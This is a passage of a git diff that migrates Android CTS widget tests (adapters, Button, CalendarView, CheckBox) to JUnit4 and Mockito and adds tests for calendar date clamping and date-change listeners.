+        verifyZeroInteractions(mockDataSetObserver);
     }
 
+    @Test
     public void testNotifyDataSetInvalidated() {
         BaseAdapter baseAdapter = new MockBaseAdapter();
-        MockDataSetObserver dataSetObserver = new MockDataSetObserver();
+        DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
 
-        assertFalse(dataSetObserver.hasCalledOnInvalidated());
+        verifyZeroInteractions(mockDataSetObserver);
         baseAdapter.notifyDataSetInvalidated();
-        assertFalse(dataSetObserver.hasCalledOnInvalidated());
+        verifyZeroInteractions(mockDataSetObserver);
 
-        baseAdapter.registerDataSetObserver(dataSetObserver);
+        baseAdapter.registerDataSetObserver(mockDataSetObserver);
         baseAdapter.notifyDataSetInvalidated();
-        assertTrue(dataSetObserver.hasCalledOnInvalidated());
+        verify(mockDataSetObserver, times(1)).onInvalidated();
     }
 
+    @Test
     public void testAreAllItemsEnabled() {
         BaseAdapter baseAdapter = new MockBaseAdapter();
         assertTrue(baseAdapter.areAllItemsEnabled());
     }
 
+    @Test
     public void testIsEnabled() {
         BaseAdapter baseAdapter = new MockBaseAdapter();
         assertTrue(baseAdapter.isEnabled(0));
     }
 
+    @Test
     public void testGetDropDownView() {
         BaseAdapter baseAdapter = new MockBaseAdapter();
         assertNull(baseAdapter.getDropDownView(0, null, null));
     }
 
+    @Test
     public void testGetItemViewType() {
         BaseAdapter baseAdapter = new MockBaseAdapter();
         assertEquals(0, baseAdapter.getItemViewType(0));
     }
 
+    @Test
     public void testGetViewTypeCount() {
         BaseAdapter baseAdapter = new MockBaseAdapter();
         assertEquals(1, baseAdapter.getViewTypeCount());
     }
 
+    @Test
     public void testIsEmpty() {
         MockBaseAdapter baseAdapter = new MockBaseAdapter();
 
@@ -121,34 +146,4 @@
             return null;
         }
     }
-
-    private static class MockDataSetObserver extends DataSetObserver {
-        private boolean mCalledOnChanged = false;
-        private boolean mCalledOnInvalidated = false;
-
-        @Override
-        public void onChanged() {
-            super.onChanged();
-            mCalledOnChanged = true;
-        }
-
-        public boolean hasCalledOnChanged() {
-            return mCalledOnChanged;
-        }
-
-        @Override
-        public void onInvalidated() {
-            super.onInvalidated();
-            mCalledOnInvalidated = true;
-        }
-
-        public boolean hasCalledOnInvalidated() {
-            return mCalledOnInvalidated;
-        }
-
-        public void reset() {
-            mCalledOnChanged = false;
-            mCalledOnInvalidated = false;
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java b/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java
index 1737cfd..28859d0 100644
--- a/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java
@@ -16,23 +16,51 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
+
 import android.database.DataSetObserver;
-import android.test.InstrumentationTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.BaseExpandableListAdapter;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link BaseExpandableListAdapter}.
  */
-public class BaseExpandableListAdapterTest extends InstrumentationTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class BaseExpandableListAdapterTest {
+    @Test
+    public void testDefaults() {
+        // Test child type / group type APIs for the default values documented in the method
+        // Javadocs
+        BaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
+        assertEquals(1, adapter.getGroupTypeCount());
+        assertEquals(0, adapter.getGroupType(0));
+        assertEquals(1, adapter.getChildTypeCount());
+        assertEquals(0, adapter.getChildType(0, 0));
+    }
+
+    @Test
     public void testAreAllItemsEnabled() {
-        MockBaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
+        BaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
         assertTrue(adapter.areAllItemsEnabled());
     }
 
+    @Test
     public void testGetCombinedId() {
-        MockBaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
+        BaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
 
         long childID = adapter.getCombinedChildId(10, 100);
         long groupID = adapter.getCombinedGroupId(10);
@@ -45,6 +73,7 @@
         assertTrue(childID != groupID);
     }
 
+    @Test
     public void testIsEmpty() {
         MockBaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
         assertTrue(adapter.isEmpty());
@@ -52,81 +81,57 @@
         assertFalse(adapter.isEmpty());
     }
 
+    @Test
     public void testNotifyDataSetChanged() {
-        MockBaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
-        MockDataSetObserver dataSetObserver = new MockDataSetObserver();
-        adapter.registerDataSetObserver(dataSetObserver);
+        BaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
+        DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
+        adapter.registerDataSetObserver(mockDataSetObserver);
 
-        assertFalse(dataSetObserver.hasCalledOnChanged());
+        verifyZeroInteractions(mockDataSetObserver);
         adapter.notifyDataSetChanged();
-        assertTrue(dataSetObserver.hasCalledOnChanged());
+        verify(mockDataSetObserver, times(1)).onChanged();
     }
 
+    @Test
     public void testNotifyDataSetInvalidated() {
-        MockBaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
-        MockDataSetObserver dataSetObserver = new MockDataSetObserver();
-        adapter.registerDataSetObserver(dataSetObserver);
+        BaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
+        DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
+        adapter.registerDataSetObserver(mockDataSetObserver);
 
-        assertFalse(dataSetObserver.hasCalledOnInvalidated());
+        verifyZeroInteractions(mockDataSetObserver);
         adapter.notifyDataSetInvalidated();
-        assertTrue(dataSetObserver.hasCalledOnInvalidated());
+        verify(mockDataSetObserver, times(1)).onInvalidated();
     }
 
+    @Test
     public void testOnGroupCollapsed() {
-        MockBaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
+        BaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
         // this function is non-operation.
         adapter.onGroupCollapsed(0);
     }
 
+    @Test
     public void testOnGroupExpanded() {
-        MockBaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
+        BaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
         // this function is non-operation.
         adapter.onGroupExpanded(0);
     }
 
+    @Test
     public void testDataSetObserver() {
-        MockBaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
-        MockDataSetObserver dataSetObserver = new MockDataSetObserver();
-        adapter.registerDataSetObserver(dataSetObserver);
+        BaseExpandableListAdapter adapter = new MockBaseExpandableListAdapter();
+        DataSetObserver mockDataSetObserver = mock(DataSetObserver.class);
+        adapter.registerDataSetObserver(mockDataSetObserver);
 
-        assertFalse(dataSetObserver.hasCalledOnChanged());
+        verifyZeroInteractions(mockDataSetObserver);
         adapter.notifyDataSetChanged();
-        assertTrue(dataSetObserver.hasCalledOnChanged());
+        verify(mockDataSetObserver, times(1)).onChanged();
 
-        dataSetObserver.reset();
-        assertFalse(dataSetObserver.hasCalledOnChanged());
-        adapter.unregisterDataSetObserver(dataSetObserver);
+        reset(mockDataSetObserver);
+        verifyZeroInteractions(mockDataSetObserver);
+        adapter.unregisterDataSetObserver(mockDataSetObserver);
         adapter.notifyDataSetChanged();
-        assertFalse(dataSetObserver.hasCalledOnChanged());
-    }
-
-    private class MockDataSetObserver extends DataSetObserver {
-        private boolean mCalledOnChanged = false;
-        private boolean mCalledOnInvalidated = false;
-
-        @Override
-        public void onChanged() {
-            super.onChanged();
-            mCalledOnChanged = true;
-        }
-
-        public boolean hasCalledOnChanged() {
-            return mCalledOnChanged;
-        }
-
-        @Override
-        public void onInvalidated() {
-            super.onInvalidated();
-            mCalledOnInvalidated = true;
-        }
-
-        public boolean hasCalledOnInvalidated() {
-            return mCalledOnInvalidated;
-        }
-
-        public void reset() {
-            mCalledOnChanged = false;
-        }
+        verifyZeroInteractions(mockDataSetObserver);
     }
 
     private class MockBaseExpandableListAdapter extends BaseExpandableListAdapter {
diff --git a/tests/tests/widget/src/android/widget/cts/ButtonTest.java b/tests/tests/widget/src/android/widget/cts/ButtonTest.java
index 9da2ecf..c320895 100644
--- a/tests/tests/widget/src/android/widget/cts/ButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ButtonTest.java
@@ -16,45 +16,44 @@
 
 package android.widget.cts;
 
-import org.xmlpull.v1.XmlPullParser;
-
 import android.content.Context;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.Button;
 
-import android.widget.cts.R;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
 
-
-public class ButtonTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ButtonTest {
+    @Test
     public void testConstructor() {
-        XmlPullParser parser = mContext.getResources().getXml(R.layout.togglebutton_layout);
+        Context context = InstrumentationRegistry.getTargetContext();
+        XmlPullParser parser = context.getResources().getXml(R.layout.togglebutton_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
 
-        new Button(mContext, attrs, 0);
-        new Button(mContext, attrs);
-        new Button(mContext);
+        new Button(context, attrs, 0);
+        new Button(context, attrs);
+        new Button(context);
+    }
 
-        try {
-            new Button(null, null, -1);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new Button(null);
+    }
 
-        try {
-            new Button(null, null);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        new Button(null, null);
+    }
 
-        try {
-            new Button(null);
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        new Button(null, null, -1);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/CalendarViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/CalendarViewCtsActivity.java
index b0a15bf..99101fe 100644
--- a/tests/tests/widget/src/android/widget/cts/CalendarViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/CalendarViewCtsActivity.java
@@ -19,7 +19,6 @@
 import android.app.Activity;
 import android.os.Bundle;
 import android.widget.CalendarView;
-import android.widget.Toolbar;
 
 /**
  * A minimal application for {@link CalendarView} test.
diff --git a/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java b/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java
index 31ad341..e66b1d9 100644
--- a/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CalendarViewTest.java
@@ -16,41 +16,67 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
+
 import android.annotation.ColorInt;
 import android.app.Instrumentation;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.graphics.Rect;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.ViewGroup;
 import android.widget.CalendarView;
+import android.widget.ScrollView;
 import android.widget.cts.util.TestUtils;
 
+import com.android.compatibility.common.util.CtsTouchUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Calendar;
 import java.util.GregorianCalendar;
 
 @MediumTest
-public class CalendarViewTest extends ActivityInstrumentationTestCase2<CalendarViewCtsActivity> {
+@RunWith(AndroidJUnit4.class)
+public class CalendarViewTest {
+    private Instrumentation mInstrumentation;
     private CalendarViewCtsActivity mActivity;
     private CalendarView mCalendarViewMaterial;
     private CalendarView mCalendarViewHolo;
 
-    public CalendarViewTest() {
-        super("android.widget.cts", CalendarViewCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<CalendarViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(CalendarViewCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
         mCalendarViewMaterial = (CalendarView) mActivity.findViewById(R.id.calendar_view_material);
         mCalendarViewHolo = (CalendarView) mActivity.findViewById(R.id.calendar_view_holoyolo);
 
         // Initialize both calendar views to the current date
         final long currentDate = new GregorianCalendar().getTime().getTime();
-        getInstrumentation().runOnMainSync(() -> {
-            mCalendarViewMaterial.setDate(currentDate);
-            mCalendarViewHolo.setDate(currentDate);
-        });
+        mCalendarViewMaterial.setDate(currentDate);
+        mCalendarViewHolo.setDate(currentDate);
     }
 
+    @UiThreadTest
+    @Test
     public void testConstructor() {
         new CalendarView(mActivity);
 
@@ -58,33 +84,38 @@
 
         new CalendarView(mActivity, null, android.R.attr.calendarViewStyle);
 
+        new CalendarView(mActivity, null, 0, android.R.style.Widget_DeviceDefault_CalendarView);
+
+        new CalendarView(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_CalendarView);
+
+        new CalendarView(mActivity, null, 0, android.R.style.Widget_Material_CalendarView);
+
         new CalendarView(mActivity, null, 0, android.R.style.Widget_Material_Light_CalendarView);
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessDate() {
-        final Instrumentation instrumentation = getInstrumentation();
-
         // Go back one year
         final Calendar newCalendar = new GregorianCalendar();
         newCalendar.set(Calendar.YEAR, newCalendar.get(Calendar.YEAR) - 1);
         final long yearAgoDate = newCalendar.getTime().getTime();
 
-        instrumentation.runOnMainSync(
-                () -> mCalendarViewMaterial.setDate(yearAgoDate));
+        mCalendarViewMaterial.setDate(yearAgoDate);
         assertEquals(yearAgoDate, mCalendarViewMaterial.getDate());
 
         // Go forward two years (one year from current date in aggregate)
         newCalendar.set(Calendar.YEAR, newCalendar.get(Calendar.YEAR) + 2);
         final long yearHenceDate = newCalendar.getTime().getTime();
 
-        instrumentation.runOnMainSync(
-                () -> mCalendarViewMaterial.setDate(yearHenceDate, true, false));
+        mCalendarViewMaterial.setDate(yearHenceDate, true, false);
         assertEquals(yearHenceDate, mCalendarViewMaterial.getDate());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessMinMaxDate() {
-        final Instrumentation instrumentation = getInstrumentation();
-
         // Use a range of minus/plus one year as min/max dates
         final Calendar minCalendar = new GregorianCalendar();
         minCalendar.set(Calendar.YEAR, minCalendar.get(Calendar.YEAR) - 1);
@@ -94,15 +125,145 @@
         final long minDate = minCalendar.getTime().getTime();
         final long maxDate = maxCalendar.getTime().getTime();
 
-        instrumentation.runOnMainSync(() -> {
-            mCalendarViewMaterial.setMinDate(minDate);
-            mCalendarViewMaterial.setMaxDate(maxDate);
-        });
+        mCalendarViewMaterial.setMinDate(minDate);
+        mCalendarViewMaterial.setMaxDate(maxDate);
 
         assertEquals(mCalendarViewMaterial.getMinDate(), minDate);
         assertEquals(mCalendarViewMaterial.getMaxDate(), maxDate);
     }
 
+    @UiThreadTest
+    @Test
+    public void testMinMaxRangeRestrictionsHolo() {
+        // Use a range of minus/plus one year as min/max dates.
+        final Calendar minCalendar = new GregorianCalendar();
+        minCalendar.set(Calendar.YEAR, minCalendar.get(Calendar.YEAR) - 1);
+        final Calendar maxCalendar = new GregorianCalendar();
+        maxCalendar.set(Calendar.YEAR, maxCalendar.get(Calendar.YEAR) + 1);
+        final long minDate = minCalendar.getTime().getTime();
+        final long maxDate = maxCalendar.getTime().getTime();
+
+        mCalendarViewHolo.setMinDate(minDate);
+        mCalendarViewHolo.setMaxDate(maxDate);
+
+        try {
+            mCalendarViewHolo.setDate(minDate - 1);
+            fail("Should throw IllegalArgumentException, date is before minDate");
+        } catch (IllegalArgumentException e) {
+        }
+
+        try {
+            mCalendarViewHolo.setDate(maxDate + 1);
+            fail("Should throw IllegalArgumentException, date is after maxDate");
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    @UiThreadTest
+    @Test
+    public void testMinMaxRangeClampingMaterial() {
+        // Use a range of minus/plus one year as min/max dates.
+        final Calendar minCalendar = new GregorianCalendar();
+        minCalendar.set(Calendar.YEAR, minCalendar.get(Calendar.YEAR) - 1);
+        final Calendar maxCalendar = new GregorianCalendar();
+        maxCalendar.set(Calendar.YEAR, maxCalendar.get(Calendar.YEAR) + 1);
+        final long minDate = minCalendar.getTime().getTime();
+        final long maxDate = maxCalendar.getTime().getTime();
+
+        mCalendarViewMaterial.setMinDate(minDate);
+        mCalendarViewMaterial.setMaxDate(maxDate);
+        mCalendarViewMaterial.setDate(minDate + 1);
+
+        // Expecting to get back the same values because minDate < date < maxDate.
+        assertEquals(minDate, mCalendarViewMaterial.getMinDate());
+        assertEquals(maxDate, mCalendarViewMaterial.getMaxDate());
+        assertEquals(minDate + 1, mCalendarViewMaterial.getDate());
+
+        // Set a new minDate after the current date.
+        mCalendarViewMaterial.setMinDate(minDate + 20);
+        assertEquals(minDate + 20, mCalendarViewMaterial.getMinDate());
+        assertEquals(maxDate, mCalendarViewMaterial.getMaxDate());
+        // Verify date clamping when calling setMinDate().
+        assertEquals(minDate + 20, mCalendarViewMaterial.getDate());
+
+        mCalendarViewMaterial.setMinDate(minDate);
+        // Set a maxDate before the current date.
+        mCalendarViewMaterial.setMaxDate(minDate + 10);
+        assertEquals(minDate, mCalendarViewMaterial.getMinDate());
+        assertEquals(minDate + 10, mCalendarViewMaterial.getMaxDate());
+        // Verify date clamping when calling setMaxDate().
+        assertEquals(minDate + 10, mCalendarViewMaterial.getDate());
+
+        // Set a date before minDate.
+        mCalendarViewMaterial.setDate(mCalendarViewMaterial.getMinDate() - 1);
+        // Expect date clamped to minDate.
+        assertEquals(mCalendarViewMaterial.getMinDate(), mCalendarViewMaterial.getDate());
+
+        // Set a date after maxDate.
+        mCalendarViewMaterial.setDate(mCalendarViewMaterial.getMaxDate() + 1);
+        // Expect date clamped to maxDate.
+        assertEquals(mCalendarViewMaterial.getMaxDate(), mCalendarViewMaterial.getDate());
+    }
+
+    private void verifyOnDateChangeListener(CalendarView calendarView,
+            boolean onlyAllowOneChangeEvent) throws Throwable {
+        final CalendarView.OnDateChangeListener mockDateChangeListener =
+                mock(CalendarView.OnDateChangeListener.class);
+        calendarView.setOnDateChangeListener(mockDateChangeListener);
+
+        // Go back to September 2008
+        final Calendar calendar = new GregorianCalendar();
+        calendar.set(Calendar.YEAR, 2008);
+        calendar.set(Calendar.MONTH, Calendar.SEPTEMBER);
+        calendar.set(Calendar.DAY_OF_MONTH, 16);
+        mActivityRule.runOnUiThread(
+                () -> calendarView.setDate(calendar.getTime().getTime(), false, true));
+        mInstrumentation.waitForIdleSync();
+
+        // Get bounds of 09/07/2008
+        calendar.set(Calendar.DAY_OF_MONTH, 7);
+        final Rect dayBounds = new Rect();
+        final boolean getDayBoundsSuccess = calendarView.getBoundsForDate(
+                calendar.getTime().getTime(), dayBounds);
+        assertTrue(getDayBoundsSuccess);
+
+        if (onlyAllowOneChangeEvent) {
+            verifyZeroInteractions(mockDateChangeListener);
+        }
+
+        // Use instrumentation to emulate a tap on 09/07/2008
+        CtsTouchUtils.emulateTapOnView(mInstrumentation, calendarView,
+                dayBounds.left + dayBounds.width() / 2,
+                dayBounds.top + dayBounds.height() / 2);
+
+        verify(mockDateChangeListener, times(1)).onSelectedDayChange(calendarView,
+                2008, Calendar.SEPTEMBER, 7);
+        if (onlyAllowOneChangeEvent) {
+            verifyNoMoreInteractions(mockDateChangeListener);
+        }
+    }
+
+    @Test
+    public void testOnDateChangeListenerHolo() throws Throwable {
+        // Scroll the Holo calendar view all the way up so it's fully visible
+        final ScrollView scroller = (ScrollView) mActivity.findViewById(R.id.scroller);
+        final ViewGroup container = (ViewGroup) scroller.findViewById(R.id.container);
+
+        mActivityRule.runOnUiThread(() -> scroller.scrollTo(0, container.getHeight()));
+        // Note that in pre-Material world we are "allowing" the CalendarView to notify
+        // the date change listener on multiple occasions. This is the old behavior of the widget.
+        verifyOnDateChangeListener(mCalendarViewHolo, false);
+    }
+
+    @Test
+    public void testOnDateChangeListenerMaterial() throws Throwable {
+        // Note that in Material world only "real" date change events are allowed to be reported
+        // to our listener. This is the new behavior of the widget.
+        verifyOnDateChangeListener(mCalendarViewMaterial, true);
+    }
+
+    @UiThreadTest
+    @Test
     public void testAppearanceMaterial() {
         // The logic in this method is performed on a Material-styled CalendarView and
         // non-deprecated attributes / visual appearance APIs
@@ -114,22 +275,20 @@
         assertEquals(R.style.TextAppearance_WithColorGreen,
                 mCalendarViewMaterial.getWeekDayTextAppearance());
 
-        final Instrumentation instrumentation = getInstrumentation();
-
         // Change the visual appearance of the widget
-        instrumentation.runOnMainSync(() -> {
-            mCalendarViewMaterial.setFirstDayOfWeek(3);
-            mCalendarViewMaterial.setDateTextAppearance(R.style.TextAppearance_WithColorBlue);
-            mCalendarViewMaterial.setWeekDayTextAppearance(R.style.TextAppearance_WithColorMagenta);
-        });
+        mCalendarViewMaterial.setFirstDayOfWeek(Calendar.TUESDAY);
+        mCalendarViewMaterial.setDateTextAppearance(R.style.TextAppearance_WithColorBlue);
+        mCalendarViewMaterial.setWeekDayTextAppearance(R.style.TextAppearance_WithColorMagenta);
 
-        assertEquals(3, mCalendarViewMaterial.getFirstDayOfWeek());
+        assertEquals(Calendar.TUESDAY, mCalendarViewMaterial.getFirstDayOfWeek());
         assertEquals(R.style.TextAppearance_WithColorBlue,
                 mCalendarViewMaterial.getDateTextAppearance());
         assertEquals(R.style.TextAppearance_WithColorMagenta,
                 mCalendarViewMaterial.getWeekDayTextAppearance());
     }
 
+    @UiThreadTest
+    @Test
     public void testAppearanceHolo() {
         // All the logic in this method is performed on a Holo-styled CalendarView, as
         // under Material design we are ignoring most of these decorative attributes
@@ -151,8 +310,6 @@
         TestUtils.assertAllPixelsOfColor("Selected date vertical bar blue",
                 mCalendarViewHolo.getSelectedDateVerticalBar(), 40, 40, true, 0xFF0000FF, 1, true);
 
-        final Instrumentation instrumentation = getInstrumentation();
-
         // Change the visual appearance of the widget
         final @ColorInt int newSelectedWeekBackgroundColor =
                 mActivity.getColor(R.color.calendarview_week_background_new);
@@ -165,20 +322,18 @@
         final @ColorInt int newWeekSeparatorLineColor =
                 mActivity.getColor(R.color.calendarview_week_separatorline_new);
 
-        instrumentation.runOnMainSync(() -> {
-            mCalendarViewHolo.setFirstDayOfWeek(1);
-            mCalendarViewHolo.setShownWeekCount(4);
-            mCalendarViewHolo.setShowWeekNumber(true);
-            mCalendarViewHolo.setDateTextAppearance(R.style.TextAppearance_WithColorBlue);
-            mCalendarViewHolo.setWeekDayTextAppearance(R.style.TextAppearance_WithColorMagenta);
-            mCalendarViewHolo.setSelectedWeekBackgroundColor(newSelectedWeekBackgroundColor);
-            mCalendarViewHolo.setFocusedMonthDateColor(newFocusedMonthDateColor);
-            mCalendarViewHolo.setUnfocusedMonthDateColor(newUnfocusedMonthDataColor);
-            mCalendarViewHolo.setWeekNumberColor(newWeekNumberColor);
-            mCalendarViewHolo.setWeekSeparatorLineColor(newWeekSeparatorLineColor);
-        });
+        mCalendarViewHolo.setFirstDayOfWeek(Calendar.SUNDAY);
+        mCalendarViewHolo.setShownWeekCount(4);
+        mCalendarViewHolo.setShowWeekNumber(true);
+        mCalendarViewHolo.setDateTextAppearance(R.style.TextAppearance_WithColorBlue);
+        mCalendarViewHolo.setWeekDayTextAppearance(R.style.TextAppearance_WithColorMagenta);
+        mCalendarViewHolo.setSelectedWeekBackgroundColor(newSelectedWeekBackgroundColor);
+        mCalendarViewHolo.setFocusedMonthDateColor(newFocusedMonthDateColor);
+        mCalendarViewHolo.setUnfocusedMonthDateColor(newUnfocusedMonthDataColor);
+        mCalendarViewHolo.setWeekNumberColor(newWeekNumberColor);
+        mCalendarViewHolo.setWeekSeparatorLineColor(newWeekSeparatorLineColor);
 
-        assertEquals(1, mCalendarViewHolo.getFirstDayOfWeek());
+        assertEquals(Calendar.SUNDAY, mCalendarViewHolo.getFirstDayOfWeek());
         assertEquals(4, mCalendarViewHolo.getShownWeekCount());
         assertTrue(mCalendarViewHolo.getShowWeekNumber());
         assertEquals(R.style.TextAppearance_WithColorBlue,
@@ -196,14 +351,12 @@
         assertEquals(newWeekSeparatorLineColor,
                 mCalendarViewHolo.getWeekSeparatorLineColor());
 
-        instrumentation.runOnMainSync(
-                () -> mCalendarViewHolo.setSelectedDateVerticalBar(R.drawable.yellow_fill));
+        mCalendarViewHolo.setSelectedDateVerticalBar(R.drawable.yellow_fill);
         TestUtils.assertAllPixelsOfColor("Selected date vertical bar yellow",
                 mCalendarViewHolo.getSelectedDateVerticalBar(), 40, 40, true, 0xFFFFFF00, 1, true);
 
-        instrumentation.runOnMainSync(
-                () -> mCalendarViewHolo.setSelectedDateVerticalBar(
-                        mActivity.getDrawable(R.drawable.magenta_fill)));
+        mCalendarViewHolo.setSelectedDateVerticalBar(
+                mActivity.getDrawable(R.drawable.magenta_fill));
         TestUtils.assertAllPixelsOfColor("Selected date vertical bar magenta",
                 mCalendarViewHolo.getSelectedDateVerticalBar(), 40, 40, true, 0xFFFF00FF, 1, true);
     }
diff --git a/tests/tests/widget/src/android/widget/cts/CheckBoxCtsActivity.java b/tests/tests/widget/src/android/widget/cts/CheckBoxCtsActivity.java
new file mode 100644
index 0000000..9ad0b23
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/CheckBoxCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.CheckBox;
+
+/**
+ * A minimal application for {@link CheckBox} test.
+ */
+public class CheckBoxCtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.checkbox_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java b/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java
index b3a6e67..cd265f9 100644
--- a/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java
+++ b/tests/tests/widget/src/android/widget/cts/CheckBoxTest.java
@@ -16,44 +16,190 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
-
-import org.xmlpull.v1.XmlPullParser;
-
-import android.test.AndroidTestCase;
-import android.util.AttributeSet;
-import android.util.Xml;
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
 import android.widget.CheckBox;
 
-public class CheckBoxTest extends AndroidTestCase {
+import com.android.compatibility.common.util.CtsTouchUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CheckBoxTest {
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private CheckBox mCheckBox;
+
+    @Rule
+    public ActivityTestRule<CheckBoxCtsActivity> mActivityRule =
+            new ActivityTestRule<>(CheckBoxCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mCheckBox = (CheckBox) mActivity.findViewById(R.id.check_box);
+    }
+
+    @Test
     public void testConstructor() {
-        XmlPullParser parser = mContext.getResources().getXml(R.layout.checkbox_layout);
-        AttributeSet mAttrSet = Xml.asAttributeSet(parser);
+        new CheckBox(mActivity);
+        new CheckBox(mActivity, null);
+        new CheckBox(mActivity, null, android.R.attr.checkboxStyle);
+        new CheckBox(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_CompoundButton_CheckBox);
+        new CheckBox(mActivity, null, 0,
